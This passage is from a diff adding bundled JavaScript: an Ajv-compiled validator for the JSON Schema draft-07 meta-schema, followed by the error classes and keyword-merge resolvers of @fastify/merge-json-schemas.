message: "must be string" }]; + return false; + } + } + } + var valid0 = _errs3 === errors; + } else { + var valid0 = true; + } + if (valid0) { + if (data.$ref !== void 0) { + let data2 = data.$ref; + const _errs5 = errors; + if (errors === _errs5) { + if (errors === _errs5) { + if (typeof data2 === "string") { + if (!formats0.test(data2)) { + validate10.errors = [{ instancePath: instancePath + "/$ref", schemaPath: "#/properties/%24ref/format", keyword: "format", params: { format: "uri-reference" }, message: 'must match format "uri-reference"' }]; + return false; + } + } else { + validate10.errors = [{ instancePath: instancePath + "/$ref", schemaPath: "#/properties/%24ref/type", keyword: "type", params: { type: "string" }, message: "must be string" }]; + return false; + } + } + } + var valid0 = _errs5 === errors; + } else { + var valid0 = true; + } + if (valid0) { + if (data.$comment !== void 0) { + const _errs7 = errors; + if (typeof data.$comment !== "string") { + validate10.errors = [{ instancePath: instancePath + "/$comment", schemaPath: "#/properties/%24comment/type", keyword: "type", params: { type: "string" }, message: "must be string" }]; + return false; + } + var valid0 = _errs7 === errors; + } else { + var valid0 = true; + } + if (valid0) { + if (data.title !== void 0) { + const _errs9 = errors; + if (typeof data.title !== "string") { + validate10.errors = [{ instancePath: instancePath + "/title", schemaPath: "#/properties/title/type", keyword: "type", params: { type: "string" }, message: "must be string" }]; + return false; + } + var valid0 = _errs9 === errors; + } else { + var valid0 = true; + } + if (valid0) { + if (data.description !== void 0) { + const _errs11 = errors; + if (typeof data.description !== "string") { + validate10.errors = [{ instancePath: instancePath + "/description", schemaPath: "#/properties/description/type", keyword: "type", params: { type: "string" }, message: "must be string" }]; + return false; + } + var valid0 = _errs11 === errors; + } else { + var valid0 = true; + } + if (valid0) { + if (data.readOnly !== void 0) { + const _errs13 = errors; + if (typeof data.readOnly !== "boolean") { + validate10.errors = [{ instancePath: instancePath + "/readOnly", schemaPath: "#/properties/readOnly/type", keyword: "type", params: { type: "boolean" }, message: "must be boolean" }]; + return false; + } + var valid0 = _errs13 === errors; + } else { + var valid0 = true; + } + if (valid0) { + if (data.examples !== void 0) { + const _errs15 = errors; + if (errors === _errs15) { + if (!Array.isArray(data.examples)) { + validate10.errors = [{ instancePath: instancePath + "/examples", schemaPath: "#/properties/examples/type", keyword: "type", params: { type: "array" }, message: "must be array" }]; + return false; + } + } + var valid0 = _errs15 === errors; + } else { + var valid0 = true; + } + if (valid0) { + if (data.multipleOf !== void 0) { + let data8 = data.multipleOf; + const _errs17 = errors; + if (errors === _errs17) { + if (typeof data8 == "number" && isFinite(data8)) { + if (data8 <= 0 || isNaN(data8)) { + validate10.errors = [{ instancePath: instancePath + "/multipleOf", schemaPath: "#/properties/multipleOf/exclusiveMinimum", keyword: "exclusiveMinimum", params: { comparison: ">", limit: 0 }, message: "must be > 0" }]; + return false; + } + } else { + validate10.errors = [{ instancePath: instancePath + "/multipleOf", schemaPath: "#/properties/multipleOf/type", keyword: "type", params: { type: "number" }, message: "must be number" }]; + return false; + } + } + var valid0 = _errs17 === errors; + } else { + var valid0 = true; + } + if (valid0) { + if (data.maximum !== void 0) { + let data9 = data.maximum; + const _errs19 = errors; + if (!(typeof data9 == "number" && isFinite(data9))) { + validate10.errors = [{ instancePath: instancePath + "/maximum", schemaPath: "#/properties/maximum/type", keyword: "type", params: { type: "number" }, message: "must be number" }]; + return false; + } + var valid0 = _errs19 === errors; + } else { + var valid0 = true; + } + if (valid0) { + if (data.exclusiveMaximum !== void 0) { + let data10 = data.exclusiveMaximum; + const _errs21 = errors; + if (!(typeof data10 == "number" && isFinite(data10))) { + validate10.errors = [{ instancePath: instancePath + "/exclusiveMaximum", schemaPath: "#/properties/exclusiveMaximum/type", keyword: "type", params: { type: "number" }, message: "must be number" }]; + return false; + } + var valid0 = _errs21 === errors; + } else { + var valid0 = true; + } + if (valid0) { + if (data.minimum !== void 0) { + let data11 = data.minimum; + const _errs23 = errors; + if (!(typeof data11 == "number" && isFinite(data11))) { + validate10.errors = [{ instancePath: instancePath + "/minimum", schemaPath: "#/properties/minimum/type", keyword: "type", params: { type: "number" }, message: "must be number" }]; + return false; + } + var valid0 = _errs23 === errors; + } else { + var valid0 = true; + } + if (valid0) { + if (data.exclusiveMinimum !== void 0) { + let data12 = data.exclusiveMinimum; + const _errs25 = errors; + if (!(typeof data12 == "number" && isFinite(data12))) { + validate10.errors = [{ instancePath: instancePath + "/exclusiveMinimum", schemaPath: "#/properties/exclusiveMinimum/type", keyword: "type", params: { type: "number" }, message: "must be number" }]; + return false; + } + var valid0 = _errs25 === errors; + } else { + var valid0 = true; + } + if (valid0) { + if (data.maxLength !== void 0) { + let data13 = data.maxLength; + const _errs27 = errors; + const _errs28 = errors; + if (!(typeof data13 == "number" && (!(data13 % 1) && !isNaN(data13)) && isFinite(data13))) { + validate10.errors = [{ instancePath: instancePath + "/maxLength", schemaPath: "#/definitions/nonNegativeInteger/type", keyword: "type", params: { type: "integer" }, message: "must be integer" }]; + return false; + } + if (errors === _errs28) { + if (typeof data13 == "number" && isFinite(data13)) { + if (data13 < 0 || isNaN(data13)) { + validate10.errors = [{ instancePath: instancePath + "/maxLength", schemaPath: "#/definitions/nonNegativeInteger/minimum", keyword: "minimum", params: { comparison: ">=", limit: 0 }, message: "must be >= 0" }]; + return false; + } + } + } + var valid0 = _errs27 === errors; + } else { + var valid0 = true; + } + if (valid0) { + if (data.minLength !== void 0) { + const _errs30 = errors; + if (!validate11(data.minLength, { instancePath: instancePath + "/minLength", parentData: data, parentDataProperty: "minLength", rootData })) { + vErrors = vErrors === null ? validate11.errors : vErrors.concat(validate11.errors); + errors = vErrors.length; + } + var valid0 = _errs30 === errors; + } else { + var valid0 = true; + } + if (valid0) { + if (data.pattern !== void 0) { + let data15 = data.pattern; + const _errs31 = errors; + if (errors === _errs31) { + if (errors === _errs31) { + if (typeof data15 === "string") { + if (!formats6(data15)) { + validate10.errors = [{ instancePath: instancePath + "/pattern", schemaPath: "#/properties/pattern/format", keyword: "format", params: { format: "regex" }, message: 'must match format "regex"' }]; + return false; + } + } else { + validate10.errors = [{ instancePath: instancePath + "/pattern", schemaPath: "#/properties/pattern/type", keyword: "type", params: { type: "string" }, message: "must be string" }]; + return false; + } + } + } + var valid0 = _errs31 === errors; + } else { + var valid0 = true; + } + if (valid0) { + if (data.additionalItems !== void 0) { + const _errs33 = errors; + if (!validate10(data.additionalItems, { instancePath: instancePath + "/additionalItems", parentData: data, parentDataProperty: "additionalItems", rootData })) { + vErrors = vErrors === null ? validate10.errors : vErrors.concat(validate10.errors); + errors = vErrors.length; + } + var valid0 = _errs33 === errors; + } else { + var valid0 = true; + } + if (valid0) { + if (data.items !== void 0) { + let data17 = data.items; + const _errs34 = errors; + const _errs35 = errors; + let valid2 = false; + const _errs36 = errors; + if (!validate10(data17, { instancePath: instancePath + "/items", parentData: data, parentDataProperty: "items", rootData })) { + vErrors = vErrors === null ? validate10.errors : vErrors.concat(validate10.errors); + errors = vErrors.length; + } + var _valid0 = _errs36 === errors; + valid2 = valid2 || _valid0; + if (!valid2) { + const _errs37 = errors; + if (!validate13(data17, { instancePath: instancePath + "/items", parentData: data, parentDataProperty: "items", rootData })) { + vErrors = vErrors === null ? validate13.errors : vErrors.concat(validate13.errors); + errors = vErrors.length; + } + var _valid0 = _errs37 === errors; + valid2 = valid2 || _valid0; + } + if (!valid2) { + const err0 = { instancePath: instancePath + "/items", schemaPath: "#/properties/items/anyOf", keyword: "anyOf", params: {}, message: "must match a schema in anyOf" }; + if (vErrors === null) { + vErrors = [err0]; + } else { + vErrors.push(err0); + } + errors++; + validate10.errors = vErrors; + return false; + } else { + errors = _errs35; + if (vErrors !== null) { + if (_errs35) { + vErrors.length = _errs35; + } else { + vErrors = null; + } + } + } + var valid0 = _errs34 === errors; + } else { + var valid0 = true; + } + if (valid0) { + if (data.maxItems !== void 0) { + let data18 = data.maxItems; + const _errs38 = errors; + const _errs39 = errors; + if (!(typeof data18 == "number" && (!(data18 % 1) && !isNaN(data18)) && isFinite(data18))) { + validate10.errors = [{ instancePath: instancePath + "/maxItems", schemaPath: "#/definitions/nonNegativeInteger/type", keyword: "type", params: { type: "integer" }, message: "must be integer" }]; + return false; + } + if (errors === _errs39) { + if (typeof data18 == "number" && isFinite(data18)) { + if (data18 < 0 || isNaN(data18)) { + validate10.errors = [{ instancePath: instancePath + "/maxItems", schemaPath: "#/definitions/nonNegativeInteger/minimum", keyword: "minimum", params: { comparison: ">=", limit: 0 }, message: "must be >= 0" }]; + return false; + } + } + } + var valid0 = _errs38 === errors; + } else { + var valid0 = true; + } + if (valid0) { + if (data.minItems !== void 0) { + const _errs41 = errors; + if (!validate11(data.minItems, { instancePath: instancePath + "/minItems", parentData: data, parentDataProperty: "minItems", rootData })) { + vErrors = vErrors === null ? validate11.errors : vErrors.concat(validate11.errors); + errors = vErrors.length; + } + var valid0 = _errs41 === errors; + } else { + var valid0 = true; + } + if (valid0) { + if (data.uniqueItems !== void 0) { + const _errs42 = errors; + if (typeof data.uniqueItems !== "boolean") { + validate10.errors = [{ instancePath: instancePath + "/uniqueItems", schemaPath: "#/properties/uniqueItems/type", keyword: "type", params: { type: "boolean" }, message: "must be boolean" }]; + return false; + } + var valid0 = _errs42 === errors; + } else { + var valid0 = true; + } + if (valid0) { + if (data.contains !== void 0) { + const _errs44 = errors; + if (!validate10(data.contains, { instancePath: instancePath + "/contains", parentData: data, parentDataProperty: "contains", rootData })) { + vErrors = vErrors === null ? validate10.errors : vErrors.concat(validate10.errors); + errors = vErrors.length; + } + var valid0 = _errs44 === errors; + } else { + var valid0 = true; + } + if (valid0) { + if (data.maxProperties !== void 0) { + let data22 = data.maxProperties; + const _errs45 = errors; + const _errs46 = errors; + if (!(typeof data22 == "number" && (!(data22 % 1) && !isNaN(data22)) && isFinite(data22))) { + validate10.errors = [{ instancePath: instancePath + "/maxProperties", schemaPath: "#/definitions/nonNegativeInteger/type", keyword: "type", params: { type: "integer" }, message: "must be integer" }]; + return false; + } + if (errors === _errs46) { + if (typeof data22 == "number" && isFinite(data22)) { + if (data22 < 0 || isNaN(data22)) { + validate10.errors = [{ instancePath: instancePath + "/maxProperties", schemaPath: "#/definitions/nonNegativeInteger/minimum", keyword: "minimum", params: { comparison: ">=", limit: 0 }, message: "must be >= 0" }]; + return false; + } + } + } + var valid0 = _errs45 === errors; + } else { + var valid0 = true; + } + if (valid0) { + if (data.minProperties !== void 0) { + const _errs48 = errors; + if (!validate11(data.minProperties, { instancePath: instancePath + "/minProperties", parentData: data, parentDataProperty: "minProperties", rootData })) { + vErrors = vErrors === null ? validate11.errors : vErrors.concat(validate11.errors); + errors = vErrors.length; + } + var valid0 = _errs48 === errors; + } else { + var valid0 = true; + } + if (valid0) { + if (data.required !== void 0) { + let data24 = data.required; + const _errs49 = errors; + const _errs50 = errors; + if (errors === _errs50) { + if (Array.isArray(data24)) { + var valid6 = true; + const len0 = data24.length; + for (let i0 = 0; i0 < len0; i0++) { + const _errs52 = errors; + if (typeof data24[i0] !== "string") { + validate10.errors = [{ instancePath: instancePath + "/required/" + i0, schemaPath: "#/definitions/stringArray/items/type", keyword: "type", params: { type: "string" }, message: "must be string" }]; + return false; + } + var valid6 = _errs52 === errors; + if (!valid6) { + break; + } + } + if (valid6) { + let i1 = data24.length; + let j0; + if (i1 > 1) { + const indices0 = {}; + for (; i1--; ) { + let item0 = data24[i1]; + if (typeof item0 !== "string") { + continue; + } + if (typeof indices0[item0] == "number") { + j0 = indices0[item0]; + validate10.errors = [{ instancePath: instancePath + "/required", schemaPath: "#/definitions/stringArray/uniqueItems", keyword: "uniqueItems", params: { i: i1, j: j0 }, message: "must NOT have duplicate items (items ## " + j0 + " and " + i1 + " are identical)" }]; + return false; + break; + } + indices0[item0] = i1; + } + } + } + } else { + validate10.errors = [{ instancePath: instancePath + "/required", schemaPath: "#/definitions/stringArray/type", keyword: "type", params: { type: "array" }, message: "must be array" }]; + return false; + } + } + var valid0 = _errs49 === errors; + } else { + var valid0 = true; + } + if (valid0) { + if (data.additionalProperties !== void 0) { + const _errs54 = errors; + if (!validate10(data.additionalProperties, { instancePath: instancePath + "/additionalProperties", parentData: data, parentDataProperty: "additionalProperties", rootData })) { + vErrors = vErrors === null ? validate10.errors : vErrors.concat(validate10.errors); + errors = vErrors.length; + } + var valid0 = _errs54 === errors; + } else { + var valid0 = true; + } + if (valid0) { + if (data.definitions !== void 0) { + let data27 = data.definitions; + const _errs55 = errors; + if (errors === _errs55) { + if (data27 && typeof data27 == "object" && !Array.isArray(data27)) { + for (const key0 in data27) { + const _errs58 = errors; + if (!validate10(data27[key0], { instancePath: instancePath + "/definitions/" + key0.replace(/~/g, "~0").replace(/\//g, "~1"), parentData: data27, parentDataProperty: key0, rootData })) { + vErrors = vErrors === null ? validate10.errors : vErrors.concat(validate10.errors); + errors = vErrors.length; + } + var valid8 = _errs58 === errors; + if (!valid8) { + break; + } + } + } else { + validate10.errors = [{ instancePath: instancePath + "/definitions", schemaPath: "#/properties/definitions/type", keyword: "type", params: { type: "object" }, message: "must be object" }]; + return false; + } + } + var valid0 = _errs55 === errors; + } else { + var valid0 = true; + } + if (valid0) { + if (data.properties !== void 0) { + let data29 = data.properties; + const _errs59 = errors; + if (errors === _errs59) { + if (data29 && typeof data29 == "object" && !Array.isArray(data29)) { + for (const key1 in data29) { + const _errs62 = errors; + if (!validate10(data29[key1], { instancePath: instancePath + "/properties/" + key1.replace(/~/g, "~0").replace(/\//g, "~1"), parentData: data29, parentDataProperty: key1, rootData })) { + vErrors = vErrors === null ? validate10.errors : vErrors.concat(validate10.errors); + errors = vErrors.length; + } + var valid9 = _errs62 === errors; + if (!valid9) { + break; + } + } + } else { + validate10.errors = [{ instancePath: instancePath + "/properties", schemaPath: "#/properties/properties/type", keyword: "type", params: { type: "object" }, message: "must be object" }]; + return false; + } + } + var valid0 = _errs59 === errors; + } else { + var valid0 = true; + } + if (valid0) { + if (data.patternProperties !== void 0) { + let data31 = data.patternProperties; + const _errs63 = errors; + if (errors === _errs63) { + if (data31 && typeof data31 == "object" && !Array.isArray(data31)) { + for (const key2 in data31) { + const _errs65 = errors; + if (errors === _errs65) { + if (typeof key2 === "string") { + if (!formats6(key2)) { + const err1 = { instancePath: instancePath + "/patternProperties", schemaPath: "#/properties/patternProperties/propertyNames/format", keyword: "format", params: { format: "regex" }, message: 'must match format "regex"', propertyName: key2 }; + if (vErrors === null) { + vErrors = [err1]; + } else { + vErrors.push(err1); + } + errors++; + } + } + } + var valid10 = _errs65 === errors; + if (!valid10) { + const err2 = { instancePath: instancePath + "/patternProperties", schemaPath: "#/properties/patternProperties/propertyNames", keyword: "propertyNames", params: { propertyName: key2 }, message: "property name must be valid" }; + if (vErrors === null) { + vErrors = [err2]; + } else { + vErrors.push(err2); + } + errors++; + validate10.errors = vErrors; + return false; + break; + } + } + if (valid10) { + for (const key3 in data31) { + const _errs67 = errors; + if (!validate10(data31[key3], { instancePath: instancePath + "/patternProperties/" + key3.replace(/~/g, "~0").replace(/\//g, "~1"), parentData: data31, parentDataProperty: key3, rootData })) { + vErrors = vErrors === null ? validate10.errors : vErrors.concat(validate10.errors); + errors = vErrors.length; + } + var valid11 = _errs67 === errors; + if (!valid11) { + break; + } + } + } + } else { + validate10.errors = [{ instancePath: instancePath + "/patternProperties", schemaPath: "#/properties/patternProperties/type", keyword: "type", params: { type: "object" }, message: "must be object" }]; + return false; + } + } + var valid0 = _errs63 === errors; + } else { + var valid0 = true; + } + if (valid0) { + if (data.dependencies !== void 0) { + let data33 = data.dependencies; + const _errs68 = errors; + if (errors === _errs68) { + if (data33 && typeof data33 == "object" && !Array.isArray(data33)) { + for (const key4 in data33) { + let data34 = data33[key4]; + const _errs71 = errors; + const _errs72 = errors; + let valid13 = false; + const _errs73 = errors; + if (!validate10(data34, { instancePath: instancePath + "/dependencies/" + key4.replace(/~/g, "~0").replace(/\//g, "~1"), parentData: data33, parentDataProperty: key4, rootData })) { + vErrors = vErrors === null ? validate10.errors : vErrors.concat(validate10.errors); + errors = vErrors.length; + } + var _valid1 = _errs73 === errors; + valid13 = valid13 || _valid1; + if (!valid13) { + const _errs74 = errors; + const _errs75 = errors; + if (errors === _errs75) { + if (Array.isArray(data34)) { + var valid15 = true; + const len1 = data34.length; + for (let i2 = 0; i2 < len1; i2++) { + const _errs77 = errors; + if (typeof data34[i2] !== "string") { + const err3 = { instancePath: instancePath + "/dependencies/" + key4.replace(/~/g, "~0").replace(/\//g, "~1") + "/" + i2, schemaPath: "#/definitions/stringArray/items/type", keyword: "type", params: { type: "string" }, message: "must be string" }; + if (vErrors === null) { + vErrors = [err3]; + } else { + vErrors.push(err3); + } + errors++; + } + var valid15 = _errs77 === errors; + if (!valid15) { + break; + } + } + if (valid15) { + let i3 = data34.length; + let j1; + if (i3 > 1) { + const indices1 = {}; + for (; i3--; ) { + let item1 = data34[i3]; + if (typeof item1 !== "string") { + continue; + } + if (typeof indices1[item1] == "number") { + j1 = indices1[item1]; + const err4 = { instancePath: instancePath + "/dependencies/" + key4.replace(/~/g, "~0").replace(/\//g, "~1"), schemaPath: "#/definitions/stringArray/uniqueItems", keyword: "uniqueItems", params: { i: i3, j: j1 }, message: "must NOT have duplicate items (items ## " + j1 + " and " + i3 + " are identical)" }; + if (vErrors === null) { + vErrors = [err4]; + } else { + vErrors.push(err4); + } + errors++; + break; + } + indices1[item1] = i3; + } + } + } + } else { + const err5 = { instancePath: instancePath + "/dependencies/" + key4.replace(/~/g, "~0").replace(/\//g, "~1"), schemaPath: "#/definitions/stringArray/type", keyword: "type", params: { type: "array" }, message: "must be array" }; + if (vErrors === null) { + vErrors = [err5]; + } else { + vErrors.push(err5); + } + errors++; + } + } + var _valid1 = _errs74 === errors; + valid13 = valid13 || _valid1; + } + if (!valid13) { + const err6 = { instancePath: instancePath + "/dependencies/" + key4.replace(/~/g, "~0").replace(/\//g, "~1"), schemaPath: "#/properties/dependencies/additionalProperties/anyOf", keyword: "anyOf", params: {}, message: "must match a schema in anyOf" }; + if (vErrors === null) { + vErrors = [err6]; + } else { + vErrors.push(err6); + } + errors++; + validate10.errors = vErrors; + return false; + } else { + errors = _errs72; + if (vErrors !== null) { + if (_errs72) { + vErrors.length = _errs72; + } else { + vErrors = null; + } + } + } + var valid12 = _errs71 === errors; + if (!valid12) { + break; + } + } + } else { + validate10.errors = [{ instancePath: instancePath + "/dependencies", schemaPath: "#/properties/dependencies/type", keyword: "type", params: { type: "object" }, message: "must be object" }]; + return false; + } + } + var valid0 = _errs68 === errors; + } else { + var valid0 = true; + } + if (valid0) { + if (data.propertyNames !== void 0) { + const _errs79 = errors; + if (!validate10(data.propertyNames, { instancePath: instancePath + "/propertyNames", parentData: data, parentDataProperty: "propertyNames", rootData })) { + vErrors = vErrors === null ? validate10.errors : vErrors.concat(validate10.errors); + errors = vErrors.length; + } + var valid0 = _errs79 === errors; + } else { + var valid0 = true; + } + if (valid0) { + if (data.enum !== void 0) { + let data37 = data.enum; + const _errs80 = errors; + if (errors === _errs80) { + if (Array.isArray(data37)) { + if (data37.length < 1) { + validate10.errors = [{ instancePath: instancePath + "/enum", schemaPath: "#/properties/enum/minItems", keyword: "minItems", params: { limit: 1 }, message: "must NOT have fewer than 1 items" }]; + return false; + } else { + let i4 = data37.length; + let j2; + if (i4 > 1) { + outer0: + for (; i4--; ) { + for (j2 = i4; j2--; ) { + if (func0(data37[i4], data37[j2])) { + validate10.errors = [{ instancePath: instancePath + "/enum", schemaPath: "#/properties/enum/uniqueItems", keyword: "uniqueItems", params: { i: i4, j: j2 }, message: "must NOT have duplicate items (items ## " + j2 + " and " + i4 + " are identical)" }]; + return false; + break outer0; + } + } + } + } + } + } else { + validate10.errors = [{ instancePath: instancePath + "/enum", schemaPath: "#/properties/enum/type", keyword: "type", params: { type: "array" }, message: "must be array" }]; + return false; + } + } + var valid0 = _errs80 === errors; + } else { + var valid0 = true; + } + if (valid0) { + if (data.type !== void 0) { + let data38 = data.type; + const _errs82 = errors; + const _errs83 = errors; + let valid18 = false; + const _errs84 = errors; + if (!(data38 === "array" || data38 === "boolean" || data38 === "integer" || data38 === "null" || data38 === "number" || data38 === "object" || data38 === "string")) { + const err7 = { instancePath: instancePath + "/type", schemaPath: "#/definitions/simpleTypes/enum", keyword: "enum", params: { allowedValues: schema20.enum }, message: "must be equal to one of the allowed values" }; + if (vErrors === null) { + vErrors = [err7]; + } else { + vErrors.push(err7); + } + errors++; + } + var _valid2 = _errs84 === errors; + valid18 = valid18 || _valid2; + if (!valid18) { + const _errs86 = errors; + if (errors === _errs86) { + if (Array.isArray(data38)) { + if (data38.length < 1) { + const err8 = { instancePath: instancePath + "/type", schemaPath: "#/properties/type/anyOf/1/minItems", keyword: "minItems", params: { limit: 1 }, message: "must NOT have fewer than 1 items" }; + if (vErrors === null) { + vErrors = [err8]; + } else { + vErrors.push(err8); + } + errors++; + } else { + var valid20 = true; + const len2 = data38.length; + for (let i5 = 0; i5 < len2; i5++) { + let data39 = data38[i5]; + const _errs88 = errors; + if (!(data39 === "array" || data39 === "boolean" || data39 === "integer" || data39 === "null" || data39 === "number" || data39 === "object" || data39 === "string")) { + const err9 = { instancePath: instancePath + "/type/" + i5, schemaPath: "#/definitions/simpleTypes/enum", keyword: "enum", params: { allowedValues: schema20.enum }, message: "must be equal to one of the allowed values" }; + if (vErrors === null) { + vErrors = [err9]; + } else { + vErrors.push(err9); + } + errors++; + } + var valid20 = _errs88 === errors; + if (!valid20) { + break; + } + } + if (valid20) { + let i6 = data38.length; + let j3; + if (i6 > 1) { + outer1: + for (; i6--; ) { + for (j3 = i6; j3--; ) { + if (func0(data38[i6], data38[j3])) { + const err10 = { instancePath: instancePath + "/type", schemaPath: "#/properties/type/anyOf/1/uniqueItems", keyword: "uniqueItems", params: { i: i6, j: j3 }, message: "must NOT have duplicate items (items ## " + j3 + " and " + i6 + " are identical)" }; + if (vErrors === null) { + vErrors = [err10]; + } else { + vErrors.push(err10); + } + errors++; + break outer1; + } + } + } + } + } + } + } else { + const err11 = { instancePath: instancePath + "/type", schemaPath: "#/properties/type/anyOf/1/type", keyword: "type", params: { type: "array" }, message: "must be array" }; + if (vErrors === null) { + vErrors = [err11]; + } else { + vErrors.push(err11); + } + errors++; + } + } + var _valid2 = _errs86 === errors; + valid18 = valid18 || _valid2; + } + if (!valid18) { + const err12 = { instancePath: instancePath + "/type", schemaPath: "#/properties/type/anyOf", keyword: "anyOf", params: {}, message: "must match a schema in anyOf" }; + if (vErrors === null) { + vErrors = [err12]; + } else { + vErrors.push(err12); + } + errors++; + validate10.errors = vErrors; + return false; + } else { + errors = _errs83; + if (vErrors !== null) { + if (_errs83) { + vErrors.length = _errs83; + } else { + vErrors = null; + } + } + } + var valid0 = _errs82 === errors; + } else { + var valid0 = true; + } + if (valid0) { + if (data.format !== void 0) { + const _errs90 = errors; + if (typeof data.format !== "string") { + validate10.errors = [{ instancePath: instancePath + "/format", schemaPath: "#/properties/format/type", keyword: "type", params: { type: "string" }, message: "must be string" }]; + return false; + } + var valid0 = _errs90 === errors; + } else { + var valid0 = true; + } + if (valid0) { + if (data.contentMediaType !== void 0) { + const _errs92 = errors; + if (typeof data.contentMediaType !== "string") { + validate10.errors = [{ instancePath: instancePath + "/contentMediaType", schemaPath: "#/properties/contentMediaType/type", keyword: "type", params: { type: "string" }, message: "must be string" }]; + return false; + } + var valid0 = _errs92 === errors; + } else { + var valid0 = true; + } + if (valid0) { + if (data.contentEncoding !== void 0) { + const _errs94 = errors; + if (typeof data.contentEncoding !== "string") { + validate10.errors = [{ instancePath: instancePath + "/contentEncoding", schemaPath: "#/properties/contentEncoding/type", keyword: "type", params: { type: "string" }, message: "must be string" }]; + return false; + } + var valid0 = _errs94 === errors; + } else { + var valid0 = true; + } + if (valid0) { + if (data.if !== void 0) { + const _errs96 = errors; + if (!validate10(data.if, { instancePath: instancePath + "/if", parentData: data, parentDataProperty: "if", rootData })) { + vErrors = vErrors === null ? validate10.errors : vErrors.concat(validate10.errors); + errors = vErrors.length; + } + var valid0 = _errs96 === errors; + } else { + var valid0 = true; + } + if (valid0) { + if (data.then !== void 0) { + const _errs97 = errors; + if (!validate10(data.then, { instancePath: instancePath + "/then", parentData: data, parentDataProperty: "then", rootData })) { + vErrors = vErrors === null ? validate10.errors : vErrors.concat(validate10.errors); + errors = vErrors.length; + } + var valid0 = _errs97 === errors; + } else { + var valid0 = true; + } + if (valid0) { + if (data.else !== void 0) { + const _errs98 = errors; + if (!validate10(data.else, { instancePath: instancePath + "/else", parentData: data, parentDataProperty: "else", rootData })) { + vErrors = vErrors === null ? validate10.errors : vErrors.concat(validate10.errors); + errors = vErrors.length; + } + var valid0 = _errs98 === errors; + } else { + var valid0 = true; + } + if (valid0) { + if (data.allOf !== void 0) { + const _errs99 = errors; + if (!validate13(data.allOf, { instancePath: instancePath + "/allOf", parentData: data, parentDataProperty: "allOf", rootData })) { + vErrors = vErrors === null ? validate13.errors : vErrors.concat(validate13.errors); + errors = vErrors.length; + } + var valid0 = _errs99 === errors; + } else { + var valid0 = true; + } + if (valid0) { + if (data.anyOf !== void 0) { + const _errs100 = errors; + if (!validate13(data.anyOf, { instancePath: instancePath + "/anyOf", parentData: data, parentDataProperty: "anyOf", rootData })) { + vErrors = vErrors === null ? validate13.errors : vErrors.concat(validate13.errors); + errors = vErrors.length; + } + var valid0 = _errs100 === errors; + } else { + var valid0 = true; + } + if (valid0) { + if (data.oneOf !== void 0) { + const _errs101 = errors; + if (!validate13(data.oneOf, { instancePath: instancePath + "/oneOf", parentData: data, parentDataProperty: "oneOf", rootData })) { + vErrors = vErrors === null ? validate13.errors : vErrors.concat(validate13.errors); + errors = vErrors.length; + } + var valid0 = _errs101 === errors; + } else { + var valid0 = true; + } + if (valid0) { + if (data.not !== void 0) { + const _errs102 = errors; + if (!validate10(data.not, { instancePath: instancePath + "/not", parentData: data, parentDataProperty: "not", rootData })) { + vErrors = vErrors === null ? validate10.errors : vErrors.concat(validate10.errors); + errors = vErrors.length; + } + var valid0 = _errs102 === errors; + } else { + var valid0 = true; + } + } + } + } + } + } + } + } + } + } + } + } + } + } + } + } + } + } + } + } + } + } + } + } + } + } + } + } + } + } + } + } + } + } + } + } + } + } + } + } + } + } + } + } + } + validate10.errors = vErrors; + return errors === 0; + } + } +}); + +// node_modules/.pnpm/@fastify+merge-json-schemas@0.2.1/node_modules/@fastify/merge-json-schemas/lib/errors.js +var require_errors4 = __commonJS({ + "node_modules/.pnpm/@fastify+merge-json-schemas@0.2.1/node_modules/@fastify/merge-json-schemas/lib/errors.js"(exports, module) { + "use strict"; + var MergeError = class extends Error { + constructor(keyword, schemas) { + super(); + this.name = "JsonSchemaMergeError"; + this.code = "JSON_SCHEMA_MERGE_ERROR"; + this.message = `Failed to merge "${keyword}" keyword schemas.`; + this.schemas = schemas; + } + }; + var ResolverNotFoundError = class extends Error { + constructor(keyword, schemas) { + super(); + this.name = "JsonSchemaMergeError"; + this.code = "JSON_SCHEMA_MERGE_ERROR"; + this.message = `Resolver for "${keyword}" keyword not found.`; + this.schemas = schemas; + } + }; + var InvalidOnConflictOptionError = class extends Error { + constructor(onConflict) { + super(); + this.name = "JsonSchemaMergeError"; + this.code = "JSON_SCHEMA_MERGE_ERROR"; + this.message = `Invalid "onConflict" option: "${onConflict}".`; + } + }; + module.exports = { + MergeError, + ResolverNotFoundError, + InvalidOnConflictOptionError + }; + } +}); + +// node_modules/.pnpm/@fastify+merge-json-schemas@0.2.1/node_modules/@fastify/merge-json-schemas/lib/resolvers.js +var require_resolvers = __commonJS({ + "node_modules/.pnpm/@fastify+merge-json-schemas@0.2.1/node_modules/@fastify/merge-json-schemas/lib/resolvers.js"(exports, module) { + "use strict"; + var { dequal: deepEqual } = require_dist3(); + var { MergeError } = require_errors4(); + function _arraysIntersection(arrays) { + let intersection2 = arrays[0]; + for (let i = 1; i < arrays.length; i++) { + intersection2 = intersection2.filter( + (value) => arrays[i].includes(value) + ); + } + return intersection2; + } + function arraysIntersection(keyword, values2, mergedSchema) { + const intersection2 = _arraysIntersection(values2); + if (intersection2.length === 0) { + throw new MergeError(keyword, values2); + } + mergedSchema[keyword] = intersection2; + } + function hybridArraysIntersection(keyword, values2, mergedSchema) { + for (let i = 0; i < values2.length; i++) { + if (!Array.isArray(values2[i])) { + values2[i] = [values2[i]]; + } + } + const intersection2 = _arraysIntersection(values2); + if (intersection2.length === 0) { + throw new MergeError(keyword, values2); + } + if (intersection2.length === 1) { + mergedSchema[keyword] = intersection2[0]; + } else { + mergedSchema[keyword] = intersection2; + } + } + function arraysUnion(keyword, values2, mergedSchema) { + const union3 = []; + for (const array2 of values2) { + for (const value of array2) { + if (!union3.includes(value)) { + union3.push(value); + } + } + } + mergedSchema[keyword] = union3; + } + function minNumber(keyword, values2, mergedSchema) { + mergedSchema[keyword] = Math.min(...values2); + } + function maxNumber(keyword, values2, mergedSchema) { + mergedSchema[keyword] = Math.max(...values2); + } + function commonMultiple(keyword, values2, mergedSchema) { + const gcd = (a, b2) => !b2 ? a : gcd(b2, a % b2); + const lcm = (a, b2) => a * b2 / gcd(a, b2); + let scale = 1; + for (const value of values2) { + while (value * scale % 1 !== 0) { + scale *= 10; + } + } + let multiple = values2[0] * scale; + for (const value of values2) { + multiple = lcm(multiple, value * scale); + } + mergedSchema[keyword] = multiple / scale; + } + function allEqual(keyword, values2, mergedSchema) { + const firstValue = values2[0]; + for (let i = 1; i < values2.length; i++) { + if (!deepEqual(values2[i], firstValue)) { + throw new MergeError(keyword, values2); + } + } + mergedSchema[keyword] = firstValue; + } + function skip() { + } + function booleanAnd(keyword, values2, mergedSchema) { + for (const value of values2) { + if (value === false) { + mergedSchema[keyword] = false; + return; + } + } + mergedSchema[keyword] = true; + } + function 